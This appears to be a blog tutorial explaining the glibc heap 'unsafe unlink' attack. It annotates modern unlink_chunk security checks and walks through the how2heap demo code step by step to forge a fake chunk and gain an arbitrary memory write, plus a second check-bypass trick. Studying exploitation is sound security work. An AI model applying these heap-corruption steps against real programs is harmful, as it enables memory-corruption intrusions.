TL;DR

The Unlink Attack used to be very powerful in older version of glibc. I consider the severity is as high as the Format String Vulnerability in stack exploitation. Nowadays both of them are obsolete in modern memory allocator management. Of course they are patched but we can still leverage it in some extent. Besides, we need to understand it well because it's a fundamental part of the whole Ptmalloc that we will frequently need to bypass relevant security checks to complete our exploit.

Prerequisites

  • We have a pointer at a known location.
  • We can call unlink on a region to modify fd & bk pointers which are tampered to addresses near that location.
  • The most common scenario is that we have a global pointer. And we can overflow a buffer to modify its memory to addresses near the global pointer.

Overview

The concept unlink exists in many areas. In linux system or PHP language, unlink() deletes a name from the filesystem. It works in a similar way regarding to a heap exploitation. To be notice, unlink works only for a double-linked list structure, aka unsorted-bin chunk, smallbin chunk, largebin chunk. While tcache/fastbin chunks are single-linked list, they won't apply the unlink mechanism.

The unlink() was defined as a macro in Ptmalloc and called when a chunk is removed from a bin. The older version of unlink macro can be simply decribed as:

FD = P->fd;    /* forward chunk */
BK = P->bk;    /* backward chunk */
FD->bk = BK;    /* update forward chunk's bk pointer */
BK->fd = FD;    /* updated backward chunk's fd pointer */

Just imagine, if we are to remove a chunk from a bin list, how Ptmalloc would act to manifest such result? The answer is straight forward that it will change the pointers of the chunks before (BK) and after (FD) the victim chunk (P). After removing the victim, it 'skips' the chunk, and let the fd & bk pointers point at corresponding positions to maintain the double-linked list:

The above image illustrates how the macro exactly works in an unlink process. Without security checks in old version of glibc, we can leverage vulnerabilities to modify the fd & bk pointers in P, to perform an arbitrary read/write primitive after the macro executes.

But that's the old story just for us to have a fundamental understanding about unlink. We will now face the updated unlink_chunk() function in modern glibc.

Modern Unlink

Up to the newest version of glibc 2.39 on the day I publish this post, the old unlink() macro has now been updated as the unlink_chunk() with multiple security checks (I will add some comments in the source code using //):

/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
  // Check1: Since P locates at the bin list, its size should code with the prev_size of next chunk.
  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");
  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;
  // Check2: Make sure the double-linked list before unlink is reasonable. Meaning the fd->bk pointer should point to p, and the bk->fd pointer should point to p as well.
  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");
  fd->bk = bk;
  bk->fd = fd;
  if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
      // Check3: Same as check2. But we are dealing with largebin chunk structure here.
      if (p->fd_nextsize->bk_nextsize != p
	  || p->bk_nextsize->fd_nextsize != p)
	malloc_printerr ("corrupted double-linked list (not small)");
      if (fd->fd_nextsize == NULL)
	{
	  if (p->fd_nextsize == p)
	    fd->fd_nextsize = fd->bk_nextsize = fd;
	  else
	    {
	      fd->fd_nextsize = p->fd_nextsize;
	      fd->bk_nextsize = p->bk_nextsize;
	      p->fd_nextsize->bk_nextsize = fd;
	      p->bk_nextsize->fd_nextsize = fd;
	    }
	}
      else
	{
	  p->fd_nextsize->bk_nextsize = p->bk_nextsize;
	  p->bk_nextsize->fd_nextsize = p->fd_nextsize;
	}
    }
}

The comments I added above should be clear enough to explain the security checks in the new unlink_chunk(). We can no longer perform such arbitrary read/write as we did in the old unlink. But we can delicately modify specific values into the pointers we can control to bypass these checks, as long as we fulfill the simple mathematical formula above. I will talk about 2 bypassing ways to solve the maths.

Bypass Technique 1

For any bypass methods, we aim to solve this maths equation:

fd->bk = p && bk->fd = p

The victim we are going to unlink is p. Now we need to make the bk pointer of p's next chunk (the address of next chunk sits in p's fd pointer) point to p's address; at the same time, we need to make the fd pointer of the previous chunk (the address of previous chunk sits in p's bk pointer) point to p as well.

To better illustrate the bypass process, I will use a demo introduced in how2heap. It's tested in Ubuntu 20.04 64bit. This technique can be used when we have a pointer at a known location to a region we can call unlink on—the most common scenario is a vulnerable buffer that can be overflown and has a global pointer.

Therefore, let's say now we have a global pointer chunk0_ptr:

uint64_t *chunk0_ptr;

We first define 2 constants as the size we are going malloc and the size of chunk's metadata:

int malloc_size = 0x420; // we make it big enough not to use tcache or fastbin
int header_size = 2;

Then we malloc 2 large chunks in this size and return 2 chunk pointers as the global chunk0_ptr & local chunk1_ptr. Our goal will be freeing chunk0_ptr (to trigger unlink) to achieve arbitrary memory write.

chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1

Now the global chunk0_ptr is at 0x602070, pointing to 0x21ff2a0. And the local variable victim chunk1_ptr we are going to corrupt is at 0x21ff6d0 (0x21ff6c0+0x10):

To complete our exploit, we need to create a fake chunk inside chunk0. And we setup the size of our fake chunk so that we can bypass the check introduced in the above check1 (size check):

chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;	// fake the size of 0x430-0x10=0x420

And we setup the 'next_free_chunk' (aka fd pointer) of our fake chunk to point near to &chunk0_ptr, so that later we can satisfy the security check of fd->bk = p:

chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);	// it will be the position of previous 3*size_t

Also, we setup the 'previous_free_chunk' (aka bk pointer) of our fake chunk to point near to &chunk0_ptr, so that later we can satisfy the security check of bk->fd = P:

chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);	// it will be the position of previous 2*size_t

With this setup，we are now able to bypass the check:

/* Security check in unlink_chunk macro source code */
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))

Because, we let:

/* pseudo code */
*fake_fd + 24 == p	// *fake_fd + 24 is the location of fake_fd's bk pointer, points to chunk0_ptr
*fake_bk + 16 == p	// *fake_bk + 16 is the location of fake_bk's fd pointer, points to chunk0_ptr

Now the fake chunk fd is at 0x602058, and the fake chunk bk is at 0x602060. We complete the fake chunk deployment and it look like:

We assume that we have an overflow in chunk0, so that we can freely change chunk1's metadata (chunk1 is next to chunk0, so we can overflow data from chunk0 into chunk1).

uint64_t *chunk1_hdr = chunk1_ptr - header_size;	// we get the pointer of chunk1 which points to the prev_size field

Here, we need to shrink the size of chunk0 (saved as 'prev_size' field in chunk1), so that free will think that chunk0 starts where we placed our fake chunk. It's important that our fake chunk begins exactly where the known pointer points (chunk0_ptr) and that we shrink the chunk accordingly:

chunk1_hdr[0] = malloc_size;	// it will be just the same as the malloc_size of 0x420 with metadata

If we had 'normally' free'd chunk0, chunk1.previous_size would have been 0x430. However, now we fake the prev_size value as 0x420.

We mark our fake chunk as free by setting prev_inuse bit of chunk1 as 0:

chunk1_hdr[1] &= ~1;

Now chunk0 and chunk1 looks like:

Now we free chunk1:

free(chunk1_ptr);

Then consolidate backward will unlink our fake chunk, overwriting chunk0_ptr. For a small chunk, the macro will rewrite in this way:

/* unlink_chunk macro source code */
fd->bk = bk;
bk->fd = fd;

Regarding we are dealing with a large chunk here, the logic and goal is pretty similar. The pointers will be overwritten in another way:

/* unlink_chunk macro source code */
  if (fd->fd_nextsize == NULL)
	{
	  if (p->fd_nextsize == p)
	    fd->fd_nextsize = fd->bk_nextsize = fd;
	  else
	    {
	      fd->fd_nextsize = p->fd_nextsize;
	      fd->bk_nextsize = p->bk_nextsize;
	      p->fd_nextsize->bk_nextsize = fd;
	      p->bk_nextsize->fd_nextsize = fd;
	    }
	}
      else
	{
	  p->fd_nextsize->bk_nextsize = p->bk_nextsize;
	  p->bk_nextsize->fd_nextsize = p->fd_nextsize;
	}
    }

It will just take the fake chunk as a normal unlinked chunk, and do some dummy maths calculation to modify its pointers and values:

We can do some comparison with the look of fake chunk before it's unlinked. It's now a mess here because of the maths done by unlink macro. To be notice, the chunk0_ptr is at 0x602070, and was pointing to 0x21ff2a0 (on the heap). Now it points to 0x60258, which was the fd pointer of the fake chunk we modified to bypass check.

Since Ptmalloc thinks the fd of the unlinked fake chunk is 0x602058, so it considers the p->fd chunk is the red part in the image below; and Ptmalloc regards the bk of the fake chunk is 0x602060, it considers the p->bk chunk is the yellow part in the image below. At this moment, the unlink_chunk() macro modifies the fd->bk and bk->fd in order (which points to chunk0_ptr at the same time). And the value of bk->fd, aka *chunk0_ptr, is now the fake fd: 0x602058.

At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.

We first create a string with value of "Hello!~", which is 0x007e216f6c6c6548 in hexadecimal:

char victim_string[8];
strcpy(victim_string,"Hello!~");

And we can discover that it's stored on the stack at address of 0x7fff2cd85d60 with hex data:

Now we will be able to modify the value of chunk0_ptr[3] because it now locates the 4th position on the chunk pointed by chunk0_ptr (pointing 0x602058):

chunk0_ptr[3] = (uint64_t) victim_string;

We can repeat the process of requesting the chunk pointed by chunk0_ptr because it's a known global pointer as we assumed at the beginning. Therefore, chunk0_ptr is now pointing where we want, we can use it to overwrite our victim string to perform the arbitrary memory write attack. Let's say now we again request the chunk pointer by chunk0_ptr where now it's pointing the target address on the stack. And write data on the chunk:

chunk0_ptr[0] = 0x4141414142424242LL;

And we have successfully overwrite the value on target stack (from "Hello!~" to "BBBBAAAA"):

Bypass Technique 2

We bypass the security check by using Bypass Technique 1 depend on the 3-chunk structure that satisfies the unlink macro. However, we can also set a simple deployment to bypass the check by regarding the security check is no more than a maths equation.

Let's paste the most stringent check here again:

/* Security check in unlink_chunk macro source code */
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))

There's a simple solution. If we have leaked the address of p itself, we can just modify both the fd & bk pointers to be the same p:

/* pseudo code */
fd->bk = p
bk->fd = p

Though through this way we cannot modify pointers to perform arbitrary write primitive. But it's useful when we just want to bypass the unlink security check. Then we can easily remove a target chunk from the bins.

References

How2heap demo: https://github.com/shellphish/how2heap/blob/master/glibc_2.39/unsafe_unlink.c

check1: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f

check2 & 3: https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344

Are you watching me?